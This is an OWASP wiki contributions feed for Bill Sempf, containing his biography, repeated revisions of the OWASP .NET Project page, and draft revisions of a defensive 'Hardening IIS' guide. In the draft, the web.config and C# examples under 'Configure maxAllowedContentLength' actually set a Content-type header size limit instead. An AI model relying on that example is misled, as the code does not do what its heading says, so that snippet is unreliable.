OWASP - User contributions [en]

User talk:Bill Sempf

2018-11-25T03:32:20Z

Bill Sempf:

'''Welcome to ''OWASP''!''' We hope you will contribute much and well. You will probably want to read the [[Help:Contents|help pages]]. Again, welcome and have fun! [[User:KateHartmann|KateHartmann]] 13:13, 16 June 2011 (EDT)

Thanks, Kate! --[[User:Bill Sempf|Bill Sempf]] 13:48, 16 June 2011 (EDT)

User talk:Bill Sempf

2018-11-25T03:32:08Z

Bill Sempf:

User:Bill Sempf

2018-11-16T14:37:10Z

Bill Sempf:

{| class="FCK__ShowTableBorders" border="0" cellspacing="4" cellpadding="4" width="100%"
|-
|
[[Image:BillSempf.jpg]]

|
In 1992, Bill Sempf was working as a systems administrator for The Ohio·State University under Sandy Wambold, and formalized his career-long association with internetworking. While working for one of the first ISPs in Columbus in 1995, he built the second major web-based shopping center, Americash Mall, using Cold Fusion and Oracle. Bill's focus started to turn to security around the turn of the century. Internet-driven viruses were becoming the norm by this time, and applications were susceptible to attack like never before. In 2003, Bill wrote the Security and Deployment chapters of the often-referenced Professional ASP.NET Web Services for Wrox, and began his career in pen testing and threat modeling with a web services analysis for the Ohio Department of Health.

Currently, Bill is working as a security-minded software architect specializing in the Microsoft space. He has recently designed a global architecture for a telecommunications web portal, modeled threats for a global travel provider, and provided identity policy and governance for the State of Ohio. Additionally, he is actively publishing, his latest being [http://www.dummies.com/store/product/Windows-8-Application-Development-with-HTML5-For-Dummies.productCd-111817335X.html Windows 8 Application Development with HTML 5 For Dummies] and [http://www.dummies.com/store/product/C-5-0-All-in-One-For-Dummies.productCd-1118385365.html C# 5.0 All-in-one For Dummies].

Bill is an organizer for the [[Columbus]] chapter of OWASP, and the project leader for the [[OWASP .NET Project]]. He is one of the editors for the [[.NET Security Cheat Sheet]] and the [[Security Testing Cheat Sheet]]. He can be reached at bill.sempf [at] owasp.org and at www.sempf.net.

|}

User:Bill Sempf

2018-11-16T14:36:38Z

Bill Sempf:

User:Bill Sempf

2018-11-15T15:34:04Z

Bill Sempf:

User:Bill Sempf

2018-11-15T15:33:51Z

Bill Sempf:

Category:OWASP .NET Project

2018-08-30T20:08:11Z

Bill Sempf: Updated News

=Main=

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:OWASP_Project_Header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

==OWASP .NET Project==

The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.

The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.

Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.

==Purpose==

* Provide deep, rich guidance for .NET developers in using the security features of .NET
* Create guidance for use of OWASP components that are designed for use with .NET
* Focus on information about working with and on OWASP tools built using .NET

==Licensing==
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== What is the OWASP .NET Project? ==

* Deep, rich guidance for .NET developers in using the security features of .NET
* Guidance for use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Project Leader ==

[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]

== Mailing List ==
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[Java|Java and JVM]]
* [[Python|Python]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]

| valign="top" style="padding-left:25px;width:200px;" |

== News and Events ==
* [Aug 2018] Added Deserialization
* [May 2018] Began IIS Hardening Project
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core
* [Jan 2016] Added the Two Factor Authentication component
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!
* [Jan 2015] Three completed articles, and four in progress
* [Oct 2014] Promoted our first guidance article from Draft
* [Sep 2014] AppSec USA .NET Project Summit
* [Mar 2014] Project roadmap
* [Feb 2014] Project reboot

==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}

|}

=Resources=

The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.

== Detailed Guidance ==
The following articles describe specific guidance for working with the .NET Framework.

* The [[.NET Security Cheat Sheet]]
* [[.NET Penetration Testing]]
* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]
* [[Using Rfc2898DeriveBytes for PBKDF2]]
* [[Anti CSRF Tokens ASP.NET]]
* [[Adding two-factor authentication to ASP.NET]]

== Security Guidance ==
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:

* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]
* [[.NET Penetration Testing| .NET Penetration Testing]]
* [[Deserialization_Cheat_Sheet| Deserialization Cheat Sheet]]

The following sections include specific guidance for particular technological problems related to .NET web applications and services:

* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]

== Components ==

* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]
* [[.Net CSRF Guard]]
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]
* [[.NET AntiXSS Library]]
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]

== Recommended Resources ==
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:

; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]

== Active Projects ==
; [[OWASP .NET Active Projects]]

== Research Projects ==
; [[OWASP .NET Research]]

= Road Map and Getting Involved =

== Overview ==

The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to exploit.

The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.

== Themes ==
The themes of the .NET Project include:
* Deep, rich guidance for .NET developers using the security features of .NET
* Access to use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Features ==

Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.

=== Guidance ===

Guidance is documentation that assists .NET developers implementing the security features of the framework.

==== In-process guidance ====

* [[Windows Identity Foundation]]
* [[.NET Memory Management]]
* [[Adding two-factor authentication to ASP.NET]]

==== Needed guidance ====

* [[ASP.NET Identity]]
* [[DPAPI]]
* [[ClickOnce Deployment]]
* [[.NET Callbacks - Vulnerabilities and Remediation]]
* [[Dependency Injection]]
* [[IoC containers]]
* [[Preventing SQL Injection in ADO.NET]]
* [[Authenticated Symmetric Encryption in .NET]]

=== Components ===

Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.

==== Needed Components ====

Please suggest needed components.

=== Projects that use .NET ===

These are projects that happen to be built in .NET. Many of them could use .NET development assistance:

* [[OWASP O2 Platform]]
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]

== Ideas ==
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)

=Project Tracker=
==Timeline==
* January 2016 - Added the Two Factor Authentication component
* January 2015 - Three more completed articles, and four in progress
* November 2014 - Four completed articles, six in process.
* September 2014 - AppSec USA
* March 2014 - Project Roadmap
* February - 2014 Project Reboot
* May 2009 - Updated tabs, added content recommended by Andre Gironda
* March 2009 - Converted to new tab format, added Project Tracker tab
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.

==Roadmap==
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]

=FAQs=
==Questions and answers==
; Q1: Why are there so many empty projects?
; A1: Because YOU haven't worked on them! We need your help!

; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.

; Q3: Where are the .NET specific security tools.
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.

=Volunteers=

==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])

==Already involved==
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:

* Kevin Basista
* Brice Williams
* Marion Nepomuceno
* Dan Wilson
* Jess Vermont
* Jeff Knutson
* Robert Ginsburg
* Kyle Johnson
* Troy Hunt
* Dinis Cruz
* Shamir Charania
* Mohammed Al-Taweel
* Daniel Brzozowski
* Lachlan Barclay
* Bill Sempf
* Barry Dorrans (Microsoft)
* Reid Borsuk (Microsoft)

We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.

=Project About=

{{Template:Project About
| project_name =OWASP .NET Project
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.
| project_license =CC-BY 3.0 for documentation and GPLv3 for code.
| project_home_page =
| leader_name1 = Bill Sempf
| leader_email1 =
| leader_username1 = Bill_Sempf
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name = owasp-dotnet
}}

__NOTOC__ <headertabs />

[[Category:OWASP Project]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]

Category:OWASP .NET Project

2018-08-30T20:05:23Z

Bill Sempf: Added Deserialization Cheat Sheet

=Main=

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:OWASP_Project_Header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

==OWASP .NET Project==

The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.

The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.

Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.

==Purpose==

* Provide deep, rich guidance for .NET developers in using the security features of .NET
* Create guidance for use of OWASP components that are designed for use with .NET
* Focus on information about working with and on OWASP tools built using .NET

==Licensing==
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== What is the OWASP .NET Project? ==

* Deep, rich guidance for .NET developers in using the security features of .NET
* Guidance for use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Project Leader ==

[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]

== Mailing List ==
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[Java|Java and JVM]]
* [[Python|Python]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]

| valign="top" style="padding-left:25px;width:200px;" |

== News and Events ==
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core
* [Jan 2016] Added the Two Factor Authentication component
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!
* [Jan 2015] Three completed articles, and four in progress
* [Oct 2014] Promoted our first guidance article from Draft
* [Sep 2014] AppSec USA .NET Project Summit
* [Mar 2014] Project roadmap
* [Feb 2014] Project reboot

==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}

|}

=Resources=

The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.

== Detailed Guidance ==
The following articles describe specific guidance for working with the .NET Framework.

* The [[.NET Security Cheat Sheet]]
* [[.NET Penetration Testing]]
* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]
* [[Using Rfc2898DeriveBytes for PBKDF2]]
* [[Anti CSRF Tokens ASP.NET]]
* [[Adding two-factor authentication to ASP.NET]]

== Security Guidance ==
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:

* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]
* [[.NET Penetration Testing| .NET Penetration Testing]]
* [[Deserialization_Cheat_Sheet| Deserialization Cheat Sheet]]

The following sections include specific guidance for particular technological problems related to .NET web applications and services:

* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]

== Components ==

* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]
* [[.Net CSRF Guard]]
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]
* [[.NET AntiXSS Library]]
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]

== Recommended Resources ==
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:

; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]

== Active Projects ==
; [[OWASP .NET Active Projects]]

== Research Projects ==
; [[OWASP .NET Research]]

= Road Map and Getting Involved =

== Overview ==

The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to exploit.

The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.

== Themes ==
The themes of the .NET Project include:
* Deep, rich guidance for .NET developers using the security features of .NET
* Access to use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Features ==

Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.

=== Guidance ===

Guidance is documentation that assists .NET developers implementing the security features of the framework.

==== In-process guidance ====

* [[Windows Identity Foundation]]
* [[.NET Memory Management]]
* [[Adding two-factor authentication to ASP.NET]]

==== Needed guidance ====

* [[ASP.NET Identity]]
* [[DPAPI]]
* [[ClickOnce Deployment]]
* [[.NET Callbacks - Vulnerabilities and Remediation]]
* [[Dependency Injection]]
* [[IoC containers]]
* [[Preventing SQL Injection in ADO.NET]]
* [[Authenticated Symmetric Encryption in .NET]]

=== Components ===

Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.

==== Needed Components ====

Please suggest needed components.

=== Projects that use .NET ===

These are projects that happen to be built in .NET. Many of them could use .NET development assistance:

* [[OWASP O2 Platform]]
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]

== Ideas ==
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)

=Project Tracker=
==Timeline==
* January 2016 - Added the Two Factor Authentication component
* January 2015 - Three more completed articles, and four in progress
* November 2014 - Four completed articles, six in process.
* September 2014 - AppSec USA
* March 2014 - Project Roadmap
* February - 2014 Project Reboot
* May 2009 - Updated tabs, added content recommended by Andre Gironda
* March 2009 - Converted to new tab format, added Project Tracker tab
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.

==Roadmap==
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]

=FAQs=
==Questions and answers==
; Q1: Why are there so many empty projects?
; A1: Because YOU haven't worked on them! We need your help!

; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.

; Q3: Where are the .NET specific security tools.
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.

=Volunteers=

==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])

==Already involved==
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:

* Kevin Basista
* Brice Williams
* Marion Nepomuceno
* Dan Wilson
* Jess Vermont
* Jeff Knutson
* Robert Ginsburg
* Kyle Johnson
* Troy Hunt
* Dinis Cruz
* Shamir Charania
* Mohammed Al-Taweel
* Daniel Brzozowski
* Lachlan Barclay
* Bill Sempf
* Barry Dorrans (Microsoft)
* Reid Borsuk (Microsoft)

We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.

=Project About=

{{Template:Project About
| project_name =OWASP .NET Project
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.
| project_license =CC-BY 3.0 for documentation and GPLv3 for code.
| project_home_page =
| leader_name1 = Bill Sempf
| leader_email1 =
| leader_username1 = Bill_Sempf
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name = owasp-dotnet
}}

__NOTOC__ <headertabs />

[[Category:OWASP Project]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]

Deserialization Cheat Sheet

2018-08-30T20:03:31Z

Bill Sempf: Added .NET project tag

Deserialization Cheat Sheet

2018-08-30T20:01:46Z

Bill Sempf: Added Shane as an author

Hardening IIS

2018-08-29T01:29:34Z

Bill Sempf: /* Configure maxAllowedContentLength */

= Draft - Work In Progress =

== Basic configuration ==

Common changes that should be part of all IIS installations.

=== Disable directoryBrowsing ===

Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory. This was useful when web servers were primarily file servers, but is clearly a security problem now.

To disable directory browsing in IIS 10.0 (and several earlier versions, either:

1) Alter the web.config to set the directoryBrowse feature to false

<configuration>
<system.webServer>
<directoryBrowse enabled="false" />
</system.webServer>
</configuration>

2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.

=== Avoid wildcard host headers ===

IIS 10.0 has added wildcard host headers. This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.

In general, this is a bad idea and shouldn't be used. There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.

Certainly, do not use wildcard domains, like http://* for example. But in general avoid using them at all. Instead use site bindings to solve the same problem.

=== Ensure applicationPoolIdentity is configured for all application pools ===
applicationPoolIdentity configured the Active Directory user that the applications in the pool impersonate.

To assure that this value is set, navigate to an Application Pool in IIS Manager, right click and select Application Pool defaults. Then select the appropriate user.

=== Use an unique applicationPool per site ===

Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features. With today's applications, it is best if there is a unique application pool for each site. Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=

There are two ways to configure application pools for IIS.

1)In IIS Manager, expand Sites in the Connections pane. Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.

2) Using the command prompt, run appcmd to set up new command pools.

appcmd.exe set config -section:system.applicationHost/applicationPools /+"[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']" /commit:apphost

=== Disable IIS detailed error page from displaying remotely ===

When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.

To handle this, use the IIS Console and select Exceptions. In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.

== Request filtering ==

=== Configure maxAllowedContentLength ===
The maxAllowedContentLength is a part of the requestLimits collection, and it is too long by default for most requests (around 26 MB). On an application bases it can be altered using the requestFiltering node in the Security collection. Here is an example in the web.config:

<configuration>
<system.webServer>
<security>
<requestFiltering>
<requestLimits>
<headerLimits>
<add header="Content-type" sizeLimit="100" />
</headerLimits>
</requestLimits>
</requestFiltering>
</security>
</system.webServer>
</configuration>

In C#, it is possible to change the content length for a particular request with the ServerManager:

using (ServerManager serverManager = new ServerManager())
{
Configuration config = serverManager.GetWebConfiguration("Default Web Site");
ConfigurationSection requestFilteringSection = config.GetSection("system.webServer/security/requestFiltering");
ConfigurationElement requestLimitsElement = requestFilteringSection.GetChildElement("requestLimits");
ConfigurationElementCollection headerLimitsCollection = requestLimitsElement.GetCollection("headerLimits");

ConfigurationElement addElement = headerLimitsCollection.CreateElement("add");
addElement["header"] = @"Content-type";
addElement["sizeLimit"] = 100;
headerLimitsCollection.Add(addElement);

serverManager.CommitChanges();
}

=== Configure maxURL request filter ===

=== Configure maxQueryString request filter ===

=== Reject non-ASCII characters in URLs ===

=== Reject double-encoded requests ===

=== Disable HTTP trace requests ===

=== Disallow unlisted file extensions ===

=== Enable Dynamic IP Address Restrictions ===

== Transport Encryption ==

=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===

=== A list of recommendations for IIS ===

==== Disable SSL v2/v3 ====

==== Disable TLS 1.0 ====

==== Disable TLS 1.1 ====

==== Ensure TLS 1.2 is enabled ====

==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====

==== Ensure TLS cipher suites are correctly ordered ====
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/

== HSTS support ==

=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts

== CORS support ==

=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module

== Authors ==
Sourabh Shirhatti (Microsoft)

Bill Sempf (bill.sempf@owasp.org)

Hardening IIS

2018-08-29T01:29:09Z

Bill Sempf: /* Configure maxAllowedContentLength */

Hardening IIS

2018-08-29T01:28:26Z

Bill Sempf: /* Configure maxAllowedContentLength */

= Draft - Work In Progress =

== Basic configuration ==

Common changes that should be part of all IIS installations.

=== Disable directoryBrowsing ===

Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory. This was useful when web servers were primarily file servers, but is clearly a security problem now.

To disable directory browsing in IIS 10.0 (and several earlier versions, either:

1) Alter the web.config to set the directoryBrowse feature to false

<configuration>
<system.webServer>
<directoryBrowse enabled="false" />
</system.webServer>
</configuration>

2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.

=== Avoid wildcard host headers ===

IIS 10.0 has added wildcard host headers. This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.

In general, this is a bad idea and shouldn't be used. There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.

Certainly, do not use wildcard domains, like http://* for example. But in general avoid using them at all. Instead use site bindings to solve the same problem.

=== Ensure applicationPoolIdentity is configured for all application pools ===
applicationPoolIdentity configured the Active Directory user that the applications in the pool impersonate.

To assure that this value is set, navigate to an Application Pool in IIS Manager, right click and select Application Pool defaults. Then select the appropriate user.

=== Use an unique applicationPool per site ===

Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features. With today's applications, it is best if there is a unique application pool for each site. Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=

There are two ways to configure application pools for IIS.

1)In IIS Manager, expand Sites in the Connections pane. Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.

2) Using the command prompt, run appcmd to set up new command pools.

appcmd.exe set config -section:system.applicationHost/applicationPools /+"[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']" /commit:apphost

=== Disable IIS detailed error page from displaying remotely ===

When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.

To handle this, use the IIS Console and select Exceptions. In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.

== Request filtering ==

=== Configure maxAllowedContentLength ===
The maxAllowedContentLength is a part of the requestLimits collection, and it is too long by default for most requests (around 26 MB). On an application bases it can be altered using the requestFiltering node in the Security collection. Here is an example in the web.config:

In C#, it is possible to change the content length for a particular request with the ServerManager:

=== Configure maxURL request filter ===

=== Configure maxQueryString request filter ===

=== Reject non-ASCII characters in URLs ===

=== Reject double-encoded requests ===

=== Disable HTTP trace requests ===

=== Disallow unlisted file extensions ===

=== Enable Dynamic IP Address Restrictions ===

== Transport Encryption ==

=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===

=== A list of recommendations for IIS ===

==== Disable SSL v2/v3 ====

==== Disable TLS 1.0 ====

==== Disable TLS 1.1 ====

==== Ensure TLS 1.2 is enabled ====

==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====

==== Ensure TLS cipher suites are correctly ordered ====
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/

== HSTS support ==

=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts

== CORS support ==

=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module

== Authors ==
Sourabh Shirhatti (Microsoft)

Bill Sempf (bill.sempf@owasp.org)

Hardening IIS

2018-08-16T23:16:15Z

Bill Sempf: /* Ensure applicationPoolIdentity is configured for all application pools */

= Draft - Work In Progress =

== Basic configuration ==

Common changes that should be part of all IIS installations.

=== Disable directoryBrowsing ===

Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory. This was useful when web servers were primarily file servers, but is clearly a security problem now.

To disable directory browsing in IIS 10.0 (and several earlier versions, either:

1) Alter the web.config to set the directoryBrowse feature to false

<configuration>
<system.webServer>
<directoryBrowse enabled="false" />
</system.webServer>
</configuration>

2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.

=== Avoid wildcard host headers ===

IIS 10.0 has added wildcard host headers. This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.

In general, this is a bad idea and shouldn't be used. There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.

Certainly, do not use wildcard domains, like http://* for example. But in general avoid using them at all. Instead use site bindings to solve the same problem.

=== Ensure applicationPoolIdentity is configured for all application pools ===
applicationPoolIdentity configured the Active Directory user that the applications in the pool impersonate.

To assure that this value is set, navigate to an Application Pool in IIS Manager, right click and select Application Pool defaults. Then select the appropriate user.

=== Use an unique applicationPool per site ===

Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features. With today's applications, it is best if there is a unique application pool for each site. Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=

There are two ways to configure application pools for IIS.

1)In IIS Manager, expand Sites in the Connections pane. Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.

2) Using the command prompt, run appcmd to set up new command pools.

appcmd.exe set config -section:system.applicationHost/applicationPools /+"[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']" /commit:apphost

=== Disable IIS detailed error page from displaying remotely ===

When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.

To handle this, use the IIS Console and select Exceptions. In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.

== Request filtering ==

=== Configure maxAllowedContentLength ===

=== Configure maxURL request filter ===

=== Configure MaxQueryString request filter ===

=== Reject non-ASCII characters in URLs ===

=== Reject double-encoded requests ===

=== Disable HTTP trace requests ===

=== Disallow unlisted file extensions ===

=== Enable Dynamic IP Address Restrictions ===

